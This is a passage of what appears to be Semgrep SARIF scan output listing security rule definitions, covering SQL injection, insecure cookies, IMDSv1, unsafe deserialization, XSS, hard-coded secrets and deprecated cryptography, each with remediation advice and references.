malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.sql.sql-injection.sql-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.sql.sql-injection.sql-injection","id":"cpp.lang.security.sql.sql-injection.sql-injection","name":"cpp.lang.security.sql.sql-injection.sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.sql.sql-injection.sql-injection"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Storing JWT tokens in localStorage known to be a bad practice, consider moving your tokens from localStorage to a HTTP cookie."},"help":{"markdown":"Storing JWT tokens in localStorage known to be a bad practice, consider moving your tokens from localStorage to a HTTP cookie.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.security.audit.react-jwt-in-localstorage.react-jwt-in-localstorage)\n - [https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies)\n","text":"Storing JWT tokens in localStorage known to be a bad practice, consider moving your tokens from localStorage to a HTTP cookie."},"helpUri":"https://semgrep.dev/r/typescript.react.security.audit.react-jwt-in-localstorage.react-jwt-in-localstorage","id":"typescript.react.security.audit.react-jwt-in-localstorage.react-jwt-in-localstorage","name":"typescript.react.security.audit.react-jwt-in-localstorage.react-jwt-in-localstorage","properties":{"precision":"very-high","tags":["CWE-922: Insecure Storage of Sensitive Information","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.security.audit.react-jwt-in-localstorage.react-jwt-in-localstorage"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A session cookie was detected without setting the 'Secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'Secure' flag by setting 'Secure' to 'true' in the Options struct."},"help":{"markdown":"A session cookie was detected without setting the 'Secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'Secure' flag by setting 'Secure' to 'true' in the Options struct.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.cookie-missing-secure.cookie-missing-secure)\n - [https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/util/cookie.go](https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/util/cookie.go)\n - [https://golang.org/src/net/http/cookie.go](https://golang.org/src/net/http/cookie.go)\n","text":"A session cookie was detected without setting the 'Secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'Secure' flag by setting 'Secure' to 'true' in the Options struct."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.cookie-missing-secure.cookie-missing-secure","id":"go.lang.security.audit.net.cookie-missing-secure.cookie-missing-secure","name":"go.lang.security.audit.net.cookie-missing-secure.cookie-missing-secure","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.cookie-missing-secure.cookie-missing-secure"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The EC2 launch template has Instance Metadata Service Version 1 (IMDSv1) enabled. IMDSv2 introduced session authentication tokens which improve security when talking to IMDS. You should either disable IMDS or require the use of IMDSv2."},"help":{"markdown":"The EC2 launch template has Instance Metadata Service Version 1 (IMDSv1) enabled. IMDSv2 introduced session authentication tokens which improve security when talking to IMDS. You should either disable IMDS or require the use of IMDSv2.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ec2-launch-template-metadata-service-v1-enabled.aws-ec2-launch-template-metadata-service-v1-enabled)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/launch_configuration#metadata_options](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/launch_configuration#metadata_options)\n - [https://aws.amazon.com/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service](https://aws.amazon.com/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service)\n","text":"The EC2 launch template has Instance Metadata Service Version 1 (IMDSv1) enabled. IMDSv2 introduced session authentication tokens which improve security when talking to IMDS. You should either disable IMDS or require the use of IMDSv2."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ec2-launch-template-metadata-service-v1-enabled.aws-ec2-launch-template-metadata-service-v1-enabled","id":"terraform.aws.security.aws-ec2-launch-template-metadata-service-v1-enabled.aws-ec2-launch-template-metadata-service-v1-enabled","name":"terraform.aws.security.aws-ec2-launch-template-metadata-service-v1-enabled.aws-ec2-launch-template-metadata-service-v1-enabled","properties":{"precision":"very-high","tags":["CWE-1390: Weak Authentication","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ec2-launch-template-metadata-service-v1-enabled.aws-ec2-launch-template-metadata-service-v1-enabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-jsonpickle-flask.tainted-jsonpickle-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://github.com/jsonpickle/jsonpickle#jsonpickle](https://github.com/jsonpickle/jsonpickle#jsonpickle)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-jsonpickle-flask.tainted-jsonpickle-flask","id":"python.flask.deserialization.tainted-jsonpickle-flask.tainted-jsonpickle-flask","name":"python.flask.deserialization.tainted-jsonpickle-flask.tainted-jsonpickle-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-jsonpickle-flask.tainted-jsonpickle-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a go-pg ORM SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, do not use strings concatenated with user-controlled input. Instead, use parameterized statements."},"help":{"markdown":"Detected string concatenation with a non-literal variable in a go-pg ORM SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, do not use strings concatenated with user-controlled input. Instead, use parameterized statements.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.sqli.pg-orm-sqli.pg-orm-sqli)\n - [https://pg.uptrace.dev/queries/](https://pg.uptrace.dev/queries/)\n","text":"Detected string concatenation with a non-literal variable in a go-pg ORM SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, do not use strings concatenated with user-controlled input. Instead, use parameterized statements."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.sqli.pg-orm-sqli.pg-orm-sqli","id":"go.lang.security.audit.sqli.pg-orm-sqli.pg-orm-sqli","name":"go.lang.security.audit.sqli.pg-orm-sqli.pg-orm-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.sqli.pg-orm-sqli.pg-orm-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RDS instance accessible from the Internet detected."},"help":{"markdown":"RDS instance accessible from the Internet detected.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.rds-public-access.rds-public-access)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/db_instance#publicly_accessible](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/db_instance#publicly_accessible)\n - [https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_VPC.WorkingWithRDSInstanceinaVPC.html#USER_VPC.Hiding](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_VPC.WorkingWithRDSInstanceinaVPC.html#USER_VPC.Hiding)\n","text":"RDS instance accessible from the Internet detected."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.rds-public-access.rds-public-access","id":"terraform.lang.security.rds-public-access.rds-public-access","name":"terraform.lang.security.rds-public-access.rds-public-access","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.rds-public-access.rds-public-access"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Picatic API Key detected"},"help":{"markdown":"Picatic API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-picatic-api-key.detected-picatic-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Picatic API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-picatic-api-key.detected-picatic-api-key","id":"generic.secrets.security.detected-picatic-api-key.detected-picatic-api-key","name":"generic.secrets.security.detected-picatic-api-key.detected-picatic-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-picatic-api-key.detected-picatic-api-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Potential cross site scripting (XSS) occurs due to untrusted input being loaded into a WebView. The impact of such issues can vary depending on the features, permissions and exposure of data & functionality that the WebView contains. For example, in some applications the presence of JavaScript bridges may allow for the instrumentation of application code, and potentially arbitrary code execution in the context of the app. In other instances, it may be possible to manipulate the DOM to redraw the UI and phish users, or execute other typical XSS attacks."},"help":{"markdown":"Potential cross site scripting (XSS) occurs due to untrusted input being loaded into a WebView. The impact of such issues can vary depending on the features, permissions and exposure of data & functionality that the WebView contains. For example, in some applications the presence of JavaScript bridges may allow for the instrumentation of application code, and potentially arbitrary code execution in the context of the app. In other instances, it may be possible to manipulate the DOM to redraw the UI and phish users, or execute other typical XSS attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-evaluatejavascript-xss.swift-evaluate-js)\n - [https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html)\n","text":"Potential cross site scripting (XSS) occurs due to untrusted input being loaded into a WebView. The impact of such issues can vary depending on the features, permissions and exposure of data & functionality that the WebView contains. For example, in some applications the presence of JavaScript bridges may allow for the instrumentation of application code, and potentially arbitrary code execution in the context of the app. In other instances, it may be possible to manipulate the DOM to redraw the UI and phish users, or execute other typical XSS attacks."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-evaluatejavascript-xss.swift-evaluate-js","id":"swift.webview.webview-evaluatejavascript-xss.swift-evaluate-js","name":"swift.webview.webview-evaluatejavascript-xss.swift-evaluate-js","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-evaluatejavascript-xss.swift-evaluate-js"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"os.pwritev() is only available on Python 3.3+ and is therefore not backwards compatible. Instead, use a combination of pwrite() and writev()."},"help":{"markdown":"os.pwritev() is only available on Python 3.3+ and is therefore not backwards compatible. Instead, use a combination of pwrite() and writev().\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-os2-ok2)\n","text":"os.pwritev() is only available on Python 3.3+ and is therefore not backwards compatible. Instead, use a combination of pwrite() and writev()."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-os2-ok2","id":"python.lang.compatibility.python37.python37-compatibility-os2-ok2","name":"python.lang.compatibility.python37.python37-compatibility-os2-ok2","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-os2-ok2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Triple DES (3DES or DESede) is considered deprecated. AES is the recommended cipher. Upgrade to use AES."},"help":{"markdown":"Triple DES (3DES or DESede) is considered deprecated. AES is the recommended cipher. Upgrade to use AES.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.desede-is-deprecated.desede-is-deprecated)\n - [https://csrc.nist.gov/News/2017/Update-to-Current-Use-and-Deprecation-of-TDEA](https://csrc.nist.gov/News/2017/Update-to-Current-Use-and-Deprecation-of-TDEA)\n","text":"Triple DES (3DES or DESede) is considered deprecated. AES is the recommended cipher. Upgrade to use AES."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.desede-is-deprecated.desede-is-deprecated","id":"java.lang.security.audit.crypto.desede-is-deprecated.desede-is-deprecated","name":"java.lang.security.audit.crypto.desede-is-deprecated.desede-is-deprecated","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.desede-is-deprecated.desede-is-deprecated"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'render inline: ...' renders an entire ERB template inline and is dangerous. If external data can reach here, this exposes your application to server-side template injection (SSTI) or cross-site scripting (XSS) attacks. Instead, consider using a partial or another safe rendering method."},"help":{"markdown":"'render inline: ...' renders an entire ERB template inline and is dangerous. If external data can reach here, this exposes your application to server-side template injection (SSTI) or cross-site scripting (XSS) attacks. Instead, consider using a partial or another safe rendering method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-render-inline.avoid-render-inline)\n - [https://brakemanpro.com/2017/09/08/cross-site-scripting-in-rails#inline-renders---even-worse-than-xss](https://brakemanpro.com/2017/09/08/cross-site-scripting-in-rails#inline-renders---even-worse-than-xss)\n","text":"'render inline: ...' renders an entire ERB template inline and is dangerous. If external data can reach here, this exposes your application to server-side template injection (SSTI) or cross-site scripting (XSS) attacks. Instead, consider using a partial or another safe rendering method."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-render-inline.avoid-render-inline","id":"ruby.rails.security.audit.xss.avoid-render-inline.avoid-render-inline","name":"ruby.rails.security.audit.xss.avoid-render-inline.avoid-render-inline","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-render-inline.avoid-render-inline"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'ssl.wrap_socket()' is deprecated. This function creates an insecure socket without server name indication or hostname matching. Instead, create an SSL context using 'ssl.SSLContext()' and use that to wrap a socket."},"help":{"markdown":"'ssl.wrap_socket()' is deprecated. This function creates an insecure socket without server name indication or hostname matching. Instead, create an SSL context using 'ssl.SSLContext()' and use that to wrap a socket.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.ssl-wrap-socket-is-deprecated.ssl-wrap-socket-is-deprecated)\n - [https://docs.python.org/3/library/ssl.html#ssl.wrap_socket](https://docs.python.org/3/library/ssl.html#ssl.wrap_socket)\n - [https://docs.python.org/3/library/ssl.html#ssl.SSLContext.wrap_socket](https://docs.python.org/3/library/ssl.html#ssl.SSLContext.wrap_socket)\n","text":"'ssl.wrap_socket()' is deprecated. This function creates an insecure socket without server name indication or hostname matching. Instead, create an SSL context using 'ssl.SSLContext()' and use that to wrap a socket."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.ssl-wrap-socket-is-deprecated.ssl-wrap-socket-is-deprecated","id":"python.lang.security.audit.ssl-wrap-socket-is-deprecated.ssl-wrap-socket-is-deprecated","name":"python.lang.security.audit.ssl-wrap-socket-is-deprecated.ssl-wrap-socket-is-deprecated","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.ssl-wrap-socket-is-deprecated.ssl-wrap-socket-is-deprecated"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks if HTML escaping is globally disabled for JSON output. This could lead to XSS."},"help":{"markdown":"Checks if HTML escaping is globally disabled for JSON output. This could lead to XSS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.json-entity-escape.json-entity-escape)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Checks if HTML escaping is globally disabled for JSON output. This could lead to XSS."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.json-entity-escape.json-entity-escape","id":"ruby.lang.security.json-entity-escape.json-entity-escape","name":"ruby.lang.security.json-entity-escape.json-entity-escape","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.json-entity-escape.json-entity-escape"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration disables Perfect Forward Secrecy (PFS) for one or more domains. PFS is a cryptographic technique to ensure the confidentiality of prior communications, even if the long-term secret keys are compromised in the future."},"help":{"markdown":"The application's App Transport Security (ATS) configuration disables Perfect Forward Secrecy (PFS) for one or more domains. PFS is a cryptographic technique to ensure the confidentiality of prior communications, even if the long-term secret keys are compromised in the future.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-pfs.ATS-disables-PFS)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration disables Perfect Forward Secrecy (PFS) for one or more domains. PFS is a cryptographic technique to ensure the confidentiality of prior communications, even if the long-term secret keys are compromised in the future."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-pfs.ATS-disables-PFS","id":"swift.insecure-communication.ats.ats-pfs.ATS-disables-PFS","name":"swift.insecure-communication.ats.ats-pfs.ATS-disables-PFS","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-pfs.ATS-disables-PFS"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into a 'ProcessBuilder' or 'exec' command. This could lead to command injection if variables passed into the exec commands are not properly sanitized. Instead, avoid using these OS commands with user-supplied input, or, if you must use these commands, use a whitelist of specific values."},"help":{"markdown":"Detected input from a HTTPServletRequest going into a 'ProcessBuilder' or 'exec' command. This could lead to command injection if variables passed into the exec commands are not properly sanitized. Instead, avoid using these OS commands with user-supplied input, or, if you must use these commands, use a whitelist of specific values.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.tainted-cmd-from-http-request.tainted-cmd-from-http-request)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected input from a HTTPServletRequest going into a 'ProcessBuilder' or 'exec' command. This could lead to command injection if variables passed into the exec commands are not properly sanitized. Instead, avoid using these OS commands with user-supplied input, or, if you must use these commands, use a whitelist of specific values."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.tainted-cmd-from-http-request.tainted-cmd-from-http-request","id":"java.lang.security.audit.tainted-cmd-from-http-request.tainted-cmd-from-http-request","name":"java.lang.security.audit.tainted-cmd-from-http-request.tainted-cmd-from-http-request","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.tainted-cmd-from-http-request.tainted-cmd-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","id":"kotlin.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","name":"kotlin.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The HTTPSConnection API has changed frequently with minor releases of Python. Ensure you are using the API for your version of Python securely. For example, Python 3 versions prior to 3.4.3 will not verify SSL certificates by default. See https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection for more information."},"help":{"markdown":"The HTTPSConnection API has changed frequently with minor releases of Python. Ensure you are using the API for your version of Python securely. For example, Python 3 versions prior to 3.4.3 will not verify SSL certificates by default. See https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.httpsconnection-detected.httpsconnection-detected)\n - [https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection](https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection)\n","text":"The HTTPSConnection API has changed frequently with minor releases of Python. Ensure you are using the API for your version of Python securely. For example, Python 3 versions prior to 3.4.3 will not verify SSL certificates by default. See https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection for more information."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.httpsconnection-detected.httpsconnection-detected","id":"python.lang.security.audit.httpsconnection-detected.httpsconnection-detected","name":"python.lang.security.audit.httpsconnection-detected.httpsconnection-detected","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.httpsconnection-detected.httpsconnection-detected"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', ('active'))`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', ('active'))`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.pymysql-sqli.pymysql-sqli)\n - [https://pypi.org/project/PyMySQL/#id4](https://pypi.org/project/PyMySQL/#id4)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', ('active'))`"},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.pymysql-sqli.pymysql-sqli","id":"python.aws-lambda.security.pymysql-sqli.pymysql-sqli","name":"python.aws-lambda.security.pymysql-sqli.pymysql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep 